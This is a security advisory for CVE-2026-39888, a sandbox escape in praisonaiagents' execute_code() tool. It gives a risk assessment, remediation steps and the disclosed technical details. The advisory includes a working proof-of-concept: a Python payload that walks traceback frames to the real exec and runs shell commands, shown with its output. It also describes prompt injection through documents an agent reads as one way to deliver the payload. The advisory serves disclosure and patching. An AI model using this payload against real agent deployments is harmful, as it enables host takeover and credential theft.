CVE-2026-39888: praisonaiagents: sandbox escape enables host RCE

GHSA-qf73-2hrx-xprp CRITICAL
Published April 8, 2026
CISO Take

The default code sandbox in praisonaiagents' execute_code() tool can be bypassed with a five-line Python payload, giving any user who can submit code to a PraisonAI agent full arbitrary command execution on the host. The vulnerability stems from an incomplete blocklist in the subprocess wrapper — 11 blocked attributes vs. 30+ in direct mode — with four frame-traversal attributes absent, enabling extraction of real builtins within the subprocess. Though not yet in CISA KEV, a working proof-of-concept is publicly available in the GitHub advisory and exploitation requires only low privilege (typical end-user access), making mass exploitation likely once awareness spreads. Upgrade immediately to praisonaiagents >= 1.5.115; if patching is blocked, disable the execute_code tool entirely and run agents in isolated containers with no access to production credentials or sensitive network segments.

Sources: GitHub Advisory ATLAS NVD

Risk Assessment

Critical risk. CVSS 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects the low bar for exploitation: any authenticated end-user of a PraisonAI agent deployment can trigger RCE on the host. The flaw exists in the default configuration — sandbox_mode='sandbox' is the default — meaning all standard deployments are affected without any special setup. The PoC is public and trivially adaptable. Blast radius scales directly with the number of applications exposing execute_code to user or LLM-controlled input, a ubiquitous pattern in AI coding assistants and autonomous pipelines.

Affected Systems

Package Ecosystem Vulnerable Range Patched
praisonaiagents pip <= 1.5.114 1.5.115

Do you use praisonaiagents? You're affected.

Severity & Risk

CVSS 3.1
10.0 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Recommended Action

  1. Upgrade immediately: pip install 'praisonaiagents>=1.5.115'.
  2. If upgrade is blocked, disable or remove execute_code from all agent tool configurations — do not treat the sandbox as a security boundary on unpatched versions.
  3. Run PraisonAI agents in hardened containers: no production secrets in environment variables (use runtime secret injection), restricted outbound network, minimal filesystem access via volume mounts.
  4. Audit exposure surface: any endpoint accepting LLM-generated or user-supplied code that reaches execute_code is a direct attack vector — treat it as unauthenticated RCE.
  5. Detection: monitor subprocess spawning from Python agent processes; alert on frame introspection attribute strings (tb_frame, f_builtins, f_back) in code submitted to agent endpoints.
  6. Rotate all credentials accessible to the agent process environment as a precaution if patching was delayed.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6 - AI system security
NIST AI RMF
MANAGE 2.4 - Risks and benefits of AI are managed
OWASP LLM Top 10
LLM07 - Insecure Plugin Design LLM08 - Excessive Agency

Technical Details

NVD Description

## Summary `execute_code()` in `praisonaiagents.tools.python_tools` defaults to `sandbox_mode="sandbox"`, which runs user code in a subprocess wrapped with a restricted `__builtins__` dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (`blocked_attrs`, line 143 of `python_tools.py`) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list: | Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` | |---|---|---| | `__traceback__` | **NO** | YES | | `tb_frame` | **NO** | YES | | `f_back` | **NO** | YES | | `f_builtins` | **NO** | YES | Chaining these attributes through a caught exception exposes the real Python `builtins` dict of the subprocess wrapper frame, from which `exec` can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer. **Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.** --- ## Severity **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical** | Vector | Value | Rationale | |---|---|---| | AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments | | AC:L | Low | No race conditions or special configuration required | | PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) | | UI:N | None | No victim interaction | | S:C | Changed | Escapes subprocess sandbox into full host process context | | C:H | High | Arbitrary file read, environment variable access, credential exfiltration | | I:H | High | Arbitrary file write, arbitrary code execution on host | | A:H | High | Can terminate processes, exhaust resources | --- ## Affected - **Package**: `praisonaiagents` (PyPI) - **Affected versions**: all versions shipping `sandbox_mode="sandbox"` (default since introduction) through **1.5.113** - **Patched versions**: none at time of report - **File**: `praisonaiagents/tools/python_tools.py` --- ## Root Cause ### Two separate `blocked_attrs` sets — one much weaker than the other `_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes: ```python # python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs) _blocked_attrs = frozenset({ '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__', '__init_subclass__', '__set_name__', '__reduce__', '__reduce_ex__', '__traceback__', '__qualname__', '__module__', # ← present here '__wrapped__', '__closure__', '__annotations__', 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← present here 'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here 'co_consts', 'co_names', }) ``` The subprocess wrapper script written to disk (line 143) uses a separate, **inline** `blocked_attrs` with only 11 entries — the frame-traversal attrs are **missing**: ```python # python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs) blocked_attrs = { '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__' # __traceback__, tb_frame, f_back, f_builtins — all absent } ``` ### `_safe_getattr` does not protect direct dot-notation access `_safe_getattr` replaces the `getattr` builtin and blocks attribute names starting with `_`. However, it is only invoked when user code explicitly calls `getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses Python's C-level `tp_getattro` slot and **never passes through `_safe_getattr`**. The AST check is therefore the only barrier to direct attribute access, and it is insufficient. ### No text-pattern blocklist in subprocess mode `_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`) as a defence-in-depth layer. `_execute_code_sandboxed` has no such layer — only the AST check runs. --- ## Proof of Concept ```python import os os.environ["PRAISONAI_AUTO_APPROVE"] = "true" from praisonaiagents.tools.python_tools import execute_code CMD = "id" # any shell command payload = f""" try: 1/0 except ZeroDivisionError as e: _p = e.__traceback__.tb_frame.f_back _x = _p.f_builtins["exec"] _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())", {{"__builtins__": _p.f_builtins}}) """ result = execute_code(code=payload) print(result["stdout"]) ``` **Output (praisonaiagents 1.5.113, Python 3.10):** ``` uid=1000(user) gid=1000(user) groups=1000(user) ``` <img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" /> **Why each defence is bypassed:** | Layer | Status | Reason | |---|---|---| | AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list | | `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` | | `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` — `func.id` is `'_x'`, not `'exec'` | | Text-pattern blocklist | **N/A** | Does not exist in subprocess mode | | Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess | --- ## Attack Chain ``` execute_code(payload) └─ _execute_code_sandboxed() └─ subprocess: exec(user_code, safe_globals) └─ user_code raises ZeroDivisionError └─ e.__traceback__ ← __traceback__ not in blocked_attrs └─ .tb_frame ← tb_frame not in blocked_attrs └─ .f_back ← f_back not in blocked_attrs └─ .f_builtins ← f_builtins not in blocked_attrs └─ ["exec"] ← dict subscript, no attr check └─ _x("import subprocess; ...") └─ RCE ``` --- ## Impact Any application that exposes `execute_code` to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call: - **Arbitrary command execution** on the host (in the subprocess user context) - **File system read/write** — source code, credentials, `.env` files, SSH keys - **Environment variable exfiltration** — API keys, secrets passed to the agent process - **Network access** — outbound connections to attacker infrastructure unaffected by `env={}` - **Lateral movement** — the subprocess inherits the host's network stack and filesystem --- ## Suggested Fix ### 1. Merge `blocked_attrs` into a single shared constant The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline `blocked_attrs` in the wrapper template with the full set: ```python # Add to subprocess wrapper template (python_tools.py ~line 143): blocked_attrs = { '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__', '__init_subclass__', '__set_name__', '__reduce__', '__reduce_ex__', '__traceback__', '__qualname__', '__module__', # ← ADD '__wrapped__', '__closure__', '__annotations__', # ← ADD 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', # ← ADD 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← ADD 'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD 'co_consts', 'co_names', # ← ADD } ``` ### 2. Block all `_`-prefixed attribute access at AST level `_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block any `ast.Attribute` node whose `attr` starts with `_`: ```python if isinstance(node, ast.Attribute) and node.attr.startswith('_'): return f"Access to private attribute '{node.attr}' is restricted" ``` ### 3. Add the text-pattern layer to subprocess mode Mirror `_execute_code_direct`'s `dangerous_patterns` check in `_execute_code_sandboxed` as defence-in-depth. --- ## References - Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`) - CWE-693: Protection Mechanism Failure - CWE-657: Violation of Secure Design Principles

Exploitation Scenario

An adversary targets a public-facing PraisonAI coding assistant or autonomous agent. They submit a payload — directly as an end-user, or via prompt injection into a document the agent ingests — that deliberately raises a ZeroDivisionError. The payload then traverses the exception's traceback frame chain using four attributes absent from the subprocess blocklist (__traceback__, tb_frame, f_back, f_builtins), retrieves exec from the real builtins dict under an aliased variable name (_x) to bypass the exec-by-name AST check, and executes arbitrary shell commands. From this foothold the attacker reads .env files and ~/.aws/credentials, exfiltrates API keys and database passwords to attacker infrastructure, and can establish a reverse shell. The complete attack fits in under 10 lines of Python and requires no specialized tooling beyond the ability to submit code to an agent.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
April 8, 2026
Last Modified
April 8, 2026
First Seen
April 8, 2026

Related Vulnerabilities